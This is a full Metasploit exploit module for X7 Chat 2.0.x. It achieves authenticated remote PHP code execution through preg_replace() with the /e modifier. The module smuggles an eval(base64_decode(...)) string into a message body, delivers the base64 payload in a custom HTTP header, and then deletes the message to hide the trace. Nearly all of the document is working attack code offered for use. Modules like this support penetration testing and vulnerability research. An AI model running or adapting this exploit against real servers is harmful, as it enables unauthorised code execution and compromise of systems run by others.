X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::PhpEXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',  
'Description' => %q{  
This module exploits a post-auth vulnerability found in X7 Chat versions  
2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which  
uses preg_replace() function with the /e modifier. This allows a remote  
authenticated attacker to execute arbitrary PHP code in the remote machine.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Fernando Munoz <fernando[at]null-life.com>', # discovery & module development  
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco  
],  
'References' =>  
[  
# Using this URL because isn't nothing else atm  
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4076']  
],  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Generic (PHP Payload)', {}]],  
'DisclosureDate' => 'Oct 27 2014',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'Username to authenticate as', '']),  
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']),  
OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']),  
], self.class)  
end  
  
def check  
res = exec_php('phpinfo(); die();', true)  
  
if res && res.body =~ /This program makes use of the Zend/  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Unknown  
end  
end  
  
def exec_php(php_code, is_check = false)  
  
# remove comments, line breaks and spaces of php_code  
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')  
  
# clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)  
while Rex::Text.encode_base64(payload_clean) =~ /=/  
payload_clean = "#{ payload_clean } "  
end  
payload_b64 = Rex::Text.encode_base64(payload_clean)  
  
cookie_x7c2u = "X7C2U=#{ datastore['USERNAME'] }"  
cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['PASSWORD']) }"  
rand_text = Rex::Text.rand_text_alpha_upper(5, 8)  
  
print_status("Trying for version 2.0.2 up to 2.0.5.1")  
print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'headers' => {  
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",  
},  
'vars_get' => {  
# value compatible with 2.0.2 up to 2.0.5.1  
'act' => 'user_cp',  
'cp_page' => 'msgcenter',  
'to' => datastore['USERNAME'],  
'subject' => rand_text,  
'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",  
}  
})  
  
unless res && res.code == 200  
print_error("Sending the message (#{ rand_text }) has failed")  
return false  
end  
  
if res.body =~ /([0-9]*)">#{ rand_text }/  
message_id = Regexp.last_match[1]  
user_panel = 'user_cp'  
else  
print_error("Could not find message (#{ rand_text }) in the message list")  
  
print_status("Retrying for version 2.0.0 up to 2.0.1 a1")  
print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'headers' => {  
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",  
},  
'vars_get' => {  
# value compatible with 2.0.0 up to 2.0.1 a1  
'act' => 'usercp',  
'cp_page' => 'msgcenter',  
'to' => datastore['USERNAME'],  
'subject' => rand_text,  
'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",  
}  
})  
  
unless res && res.code == 200  
print_error("Sending the message (#{ rand_text }) has failed")  
return false  
end  
  
if res.body =~ /([0-9]*)">#{ rand_text }/  
message_id = Regexp.last_match[1]  
user_panel = 'usercp'  
else  
print_error("Could not find message (#{ rand_text }) in the message list")  
return false  
end  
end  
  
print_status("Accessing message (#{ rand_text })")  
print_status("Sending payload in HTTP header '#{ rand_text }'")  
  
if is_check  
timeout = 20  
else  
timeout = 3  
end  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'headers' => {  
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",  
rand_text => payload_b64,  
},  
'vars_get' => {  
'act' => user_panel,  
'cp_page' => 'msgcenter',  
'read' => message_id,  
}  
}, timeout)  
  
res_payload = res  
  
print_status("Deleting message (#{ rand_text })")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'headers' => {  
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",  
},  
'vars_get' => {  
'act' => user_panel,  
'cp_page' => 'msgcenter',  
'delete' => message_id,  
}  
})  
  
if res && res.body =~ /The message has been deleted/  
print_good("Message (#{ rand_text }) removed")  
else  
print_error("Removing message (#{ rand_text }) has failed")  
return false  
end  
  
# if check return the response  
if is_check  
return res_payload  
else  
return true  
end  
end  
  
def exploit  
unless exec_php(payload.encoded)  
fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.")  
end  
end  
end  
`